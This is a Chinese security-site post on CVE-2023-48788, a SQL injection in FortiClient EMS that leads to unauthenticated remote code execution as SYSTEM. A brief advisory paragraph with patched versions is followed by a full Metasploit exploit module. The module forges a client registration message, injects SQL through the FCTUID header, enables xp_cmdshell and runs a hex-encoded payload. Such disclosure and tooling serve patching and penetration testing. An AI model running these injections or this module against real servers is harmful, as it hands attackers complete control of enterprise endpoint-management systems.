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[SAFE-ID: JIWO-2024-3398]   作者: Candy 发表于: [2024-04-26]

本文共 [20] 位读者顶过

FortiNet FortiClient EMS (Endpoint Management Server) 版本 7.2.0 至 7.2.2 和 7.0.1 至 7.0.10 中存在远程 SQL 注入漏洞。FortiClient EMS 是专为企业量身定制的端点管理解决方案,提供用于监控已注册端点的集中式平台。SQL 注入漏洞是由于可直接发送到数据库查询中的用户控制器字符串所致。FcmDaemon.exe 是负责与注册客户通信的主要服务。默认情况下,它侦听端口 8013 并与负责转换请求并将其发送到数据库的FCTDas.exe通信。在两个服务之间发送的特定请求的消息标头中,FCTUID 参数容易受到 SQL 注入的影响。它可用于启用xp_cmdshell,然后可用于在 NT AUTHORITY\SYSTEM 的上下文中获取未经身份验证的远程代码执行。FortiNet 建议升级到 7.2.3、7.0.11 或更高版本。应该注意的是,为了容易受到攻击,FortiClient EMS 至少需要注册/管理一个端点,才能提供必要的易受攻击服务。 [出自:jiwo.org]


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Tcp
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE',
        'Description' => %q{
          An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
          FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
          platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
          can be sent directly into database queries.
 
          FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
          and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
          In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
          SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
          execution in the context of NT AUTHORITY\SYSTEM
 
          Affected versions of FortiClient EMS include:
          7.2.0 through 7.2.2
          7.0.1 through 7.0.10
 
          Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.
 
          It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
          EMS for the necessary vulnerable services to be available.
        },
        'Author' => [
          'Zach Hanley',     # Analysis & PoC
          'James Horseman',  # Analysis & PoC
          'jheysel-r7',      # Msf module
          'Spencer McIntyre' # Msf module assistance
        ],
        'References' => [
          [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'],
          [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'],
          [ 'CVE', '2023-48788']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Privileged' => true,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-04-21',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8013
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
  end
 
  def get_register_info
    register_info = <<~REGISTER_INFO
      AVSIG_VER=1.00000
      REG_KEY=_
      EP_ONNETCHKSUM=0
      AVENG_VER=6.00266
      DHCP_SERVER=None
      FCTOS=WIN64
      VULSIG_VER=1.00000
      FCTVER=7.0.7.0345
      APPSIG_VER=13.00364
      USER=Administrator
      APPENG_VER=4.00082
      AVALSIG_VER=0.00000
      VULENG_VER=2.00032
      OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)
      COM_MODEL=VMware Virtual Platform
      RSENG_VER=1.00020
      AV_PROTECTED=0
      AVALENG_VER=0.00000
      PEER_IP=
      ENABLED_FEATURE_BITMAP=49
      EP_OFFNETCHKSUM=0
      INSTALLED_FEATURE_BITMAP=158583
      EP_CHKSUM=0
      HIDDEN_FEATURE_BITMAP=155943
      DISKENC=
      HOSTNAME=CYBER-RETQB1FLP
      AV_PRODUCT=
      FCT_SN=FCT8001638848651
      INSTALLUID=#{Faker::Internet.uuid.upcase}
      NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0
      UTC=1710271774
      PC_DOMAIN=
      COM_MAN=VMware, Inc.
      CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz
      MEM=12287
      HDD=99
      COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82
      DOMAIN=
      WORKGROUP=WORKGROUP
      USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500
      GROUP_TAG=
      ADGUID=
      EP_FGTCHKSUM=0
      EP_RULECHKSUM=0
      WF_FILESCHKSUM=0
      EP_APPCTRLCHKSUM=0
    REGISTER_INFO
    Rex::Text.encode_base64(register_info)
  end
 
  def get_message(sqli)
    message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n"
    message << "IP=127.0.0.1\n"
    message << "MAC=#{Faker::Internet.mac_address}\n"
    message << "FCT_ONNET=0\n"
    message << "CAPS=32767\n"
    message << "VDOM=default\n"
    message << "EC_QUARANTINED=0\n"
    message << "SIZE=    {SIZE_PLACEHOLDER}\n"
    message << "\n"
    message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n"
    message << 'X-FCCK-REGISTER-END'
    message << "\r\n"
    message << "\r\n"
    message.gsub!('{SQLI_PLACEHOLDER}', sqli)
    message_length = message.length
    message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length
    message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s)
    message
  end
 
  def send_message(sqli)
    message = get_message(sqli)
    vprint_status("Sending the following message: #{message}")
 
    buf = ''
    begin
      connect(true, { 'SSL' => true })
      sock.put(message)
      buf = sock.get_once || ''
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    ensure
      disconnect
    end
    vprint_status("The response received was: #{buf}")
    buf
  end
 
  def check
    res = send_message("' OR 1=1; --")
    return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL')
    return CheckCode::Safe if res.include?("The FCT record doesn't exist")
 
    CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted")
  end
 
  def exploit
    # Things to note:
    # 1. xp_cmdshell is disabled by default so first we must enable it.
    # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing
    # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL
    # before running the command with xp_command shell.
    # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
    # is when we expect the response to be empty.
    inject = [
      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
    ]
    inject.each do |sqli|
      if sqli == inject.last
        send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
      else
        send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')
      end
    end
  end
end

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